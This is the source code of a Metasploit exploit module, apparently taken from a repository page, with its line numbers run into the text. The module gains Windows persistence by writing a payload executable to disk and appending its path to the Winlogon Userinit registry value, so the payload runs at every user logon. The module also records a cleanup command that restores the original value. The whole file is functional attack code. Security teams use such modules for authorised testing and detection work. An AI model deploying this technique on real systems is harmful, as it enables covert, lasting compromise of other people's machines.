Path: blob/master/modules/exploits/windows/persistence/registry_userinit.rb
57457 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Registry9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::Powershell12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Registry Persistence via Userinit',20'Description' => %q{21This module will install a payload that is executed during user logon.22It writes a payload executable to disk and modifies the Userinit registry value23in "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" to append the24payload path, causing it to execute when any user logs in.25},26'License' => MSF_LICENSE,27'Author' => [28'joel @ ndepthsecurity',29'h00die',30],31'Platform' => [ 'win' ],32'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],33'SessionTypes' => [ 'meterpreter', 'shell' ],34'Targets' => [35[ 'Automatic', {} ]36],37'References' => [38['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],39['URL', 'https://hadess.io/the-art-of-windows-persistence/']40],41'DefaultTarget' => 0,42'DisclosureDate' => '2015-07-01',43'Notes' => {44'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],45'Stability' => [CRASH_SAFE],46'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]47}48)49)5051register_options([52OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),53])54end5556def regkey57'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'58end5960def check61print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value62return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)6364return Msf::Exploit::CheckCode::Safe("Unable to read registry path #{regkey} with key Userinit") if registry_getvaldata(regkey, 'Userinit').nil?6566Msf::Exploit::CheckCode::Vulnerable('Registry likely exploitable')67end6869def install_persistence70payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))71payload_exe = generate_payload_exe72payload_pathname = writable_dir + '\\' + payload_name + '.exe'73vprint_good("Writing payload to #{payload_pathname}")74fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)7576old_value = registry_getvaldata(regkey, 'Userinit')77new_value = (old_value.split(',') + [payload_pathname]).join(',')78vprint_status("Updating '#{old_value}' to '#{new_value}'")79registry_setvaldata(regkey, 'Userinit', new_value, 'REG_SZ')80escaped_old_value = old_value.gsub('\\', '\\\\')81@clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v Userinit /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)82@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"83end84end858687